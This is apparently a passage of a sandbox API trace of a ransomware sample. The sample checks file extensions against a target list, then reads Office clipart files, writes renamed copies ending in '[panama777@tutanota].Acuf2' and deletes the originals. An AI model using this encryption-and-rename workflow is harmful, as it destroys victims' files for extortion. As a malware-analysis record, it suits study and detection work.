	[0259.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString=".7z") returned 3
	[0259.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString=".dbf") returned 4
	[0259.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString=".1cd") returned 4
	[0259.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString=".jpg") returned 4
	[0259.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString=".doc") returned 4
	[0259.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString=".docx") returned 5
	[0259.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.430] lstrlenW (lpString=".pdf") returned 4
	[0259.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString=".xls") returned 4
	[0259.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.430] lstrlenW (lpString=".xlsx") returned 5
	[0259.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.430] lstrlenW (lpString=".ppt") returned 4
	[0259.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.430] lstrlenW (lpString=".zip") returned 4
	[0259.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.430] lstrlenW (lpString=".rar") returned 4
	[0259.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString=".bz2") returned 4
	[0259.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString=".7z") returned 3
	[0259.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.430] lstrlenW (lpString=".dbf") returned 4
	[0259.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.430] lstrlenW (lpString=".1cd") returned 4
	[0259.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.430] lstrlenW (lpString=".jpg") returned 4
	[0259.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.430] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.431] lstrlenW (lpString="BS00439_.WMF") returned 12
	[0259.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.503] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2052) returned 1
	[0259.503] CloseHandle (hObject=0x220) returned 1
	[0259.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20
	[0259.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.667] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.667] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.668] GetLastError () returned 0x0
	[0259.668] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x804, lpOverlapped=0x0) returned 1
	[0259.678] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x810, lpOverlapped=0x0) returned 1
	[0259.679] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.679] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.679] SetEndOfFile (hFile=0x330) returned 1
	[0259.679] CloseHandle (hObject=0x330) returned 1
	[0259.679] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.679] SetEndOfFile (hFile=0x338) returned 1
	[0259.682] CloseHandle (hObject=0x338) returned 1
	[0259.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1
	[0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.682] lstrlenW (lpString=".doc") returned 4
	[0259.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.682] lstrlenW (lpString=".docx") returned 5
	[0259.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.683] lstrlenW (lpString=".pdf") returned 4
	[0259.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString=".xls") returned 4
	[0259.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.683] lstrlenW (lpString=".xlsx") returned 5
	[0259.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.683] lstrlenW (lpString=".ppt") returned 4
	[0259.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString=".zip") returned 4
	[0259.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.683] lstrlenW (lpString=".rar") returned 4
	[0259.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString=".bz2") returned 4
	[0259.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString=".7z") returned 3
	[0259.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString=".dbf") returned 4
	[0259.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString=".1cd") returned 4
	[0259.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString=".jpg") returned 4
	[0259.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.683] lstrlenW (lpString=".doc") returned 4
	[0259.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.683] lstrlenW (lpString=".docx") returned 5
	[0259.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.684] lstrlenW (lpString=".pdf") returned 4
	[0259.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString=".xls") returned 4
	[0259.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.684] lstrlenW (lpString=".xlsx") returned 5
	[0259.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.684] lstrlenW (lpString=".ppt") returned 4
	[0259.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.684] lstrlenW (lpString=".zip") returned 4
	[0259.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.684] lstrlenW (lpString=".rar") returned 4
	[0259.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString=".bz2") returned 4
	[0259.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString=".7z") returned 3
	[0259.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.684] lstrlenW (lpString=".dbf") returned 4
	[0259.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.684] lstrlenW (lpString=".1cd") returned 4
	[0259.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63
	[0259.684] lstrlenW (lpString=".jpg") returned 4
	[0259.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.684] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.684] lstrlenW (lpString="BS00445_.WMF") returned 12
	[0259.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.685] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3796) returned 1
	[0259.685] CloseHandle (hObject=0x338) returned 1
	[0259.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20
	[0259.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.686] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.686] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.686] GetLastError () returned 0x0
	[0259.686] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xed4, lpOverlapped=0x0) returned 1
	[0259.687] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xee0, lpOverlapped=0x0) returned 1
	[0259.688] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.688] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.688] SetEndOfFile (hFile=0x330) returned 1
	[0259.688] CloseHandle (hObject=0x330) returned 1
	[0259.689] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.689] SetEndOfFile (hFile=0x338) returned 1
	[0259.690] CloseHandle (hObject=0x338) returned 1
	[0259.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1
	[0259.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.691] lstrlenW (lpString=".doc") returned 4
	[0259.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.691] lstrlenW (lpString=".docx") returned 5
	[0259.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.691] lstrlenW (lpString=".pdf") returned 4
	[0259.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.691] lstrlenW (lpString=".xls") returned 4
	[0259.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.691] lstrlenW (lpString=".xlsx") returned 5
	[0259.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.691] lstrlenW (lpString=".ppt") returned 4
	[0259.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.691] lstrlenW (lpString=".zip") returned 4
	[0259.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.691] lstrlenW (lpString=".rar") returned 4
	[0259.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.691] lstrlenW (lpString=".bz2") returned 4
	[0259.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString=".7z") returned 3
	[0259.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString=".dbf") returned 4
	[0259.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString=".1cd") returned 4
	[0259.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString=".jpg") returned 4
	[0259.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString=".doc") returned 4
	[0259.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString=".docx") returned 5
	[0259.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.692] lstrlenW (lpString=".pdf") returned 4
	[0259.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString=".xls") returned 4
	[0259.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.692] lstrlenW (lpString=".xlsx") returned 5
	[0259.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.692] lstrlenW (lpString=".ppt") returned 4
	[0259.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.692] lstrlenW (lpString=".zip") returned 4
	[0259.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.692] lstrlenW (lpString=".rar") returned 4
	[0259.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.692] lstrlenW (lpString=".bz2") returned 4
	[0259.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.693] lstrlenW (lpString=".7z") returned 3
	[0259.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.693] lstrlenW (lpString=".dbf") returned 4
	[0259.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.693] lstrlenW (lpString=".1cd") returned 4
	[0259.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63
	[0259.693] lstrlenW (lpString=".jpg") returned 4
	[0259.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.693] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.693] lstrlenW (lpString="BS00453_.WMF") returned 12
	[0259.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.693] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2436) returned 1
	[0259.693] CloseHandle (hObject=0x338) returned 1
	[0259.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20
	[0259.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.694] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.694] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.694] GetLastError () returned 0x0
	[0259.694] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x984, lpOverlapped=0x0) returned 1
	[0259.696] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x990, lpOverlapped=0x0) returned 1
	[0259.696] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.696] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.697] SetEndOfFile (hFile=0x330) returned 1
	[0259.697] CloseHandle (hObject=0x330) returned 1
	[0259.697] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.697] SetEndOfFile (hFile=0x338) returned 1
	[0259.699] CloseHandle (hObject=0x338) returned 1
	[0259.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1
	[0259.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.699] lstrlenW (lpString=".doc") returned 4
	[0259.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.699] lstrlenW (lpString=".docx") returned 5
	[0259.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.699] lstrlenW (lpString=".pdf") returned 4
	[0259.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.699] lstrlenW (lpString=".xls") returned 4
	[0259.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.699] lstrlenW (lpString=".xlsx") returned 5
	[0259.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.699] lstrlenW (lpString=".ppt") returned 4
	[0259.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.699] lstrlenW (lpString=".zip") returned 4
	[0259.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.700] lstrlenW (lpString=".rar") returned 4
	[0259.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString=".bz2") returned 4
	[0259.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString=".7z") returned 3
	[0259.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
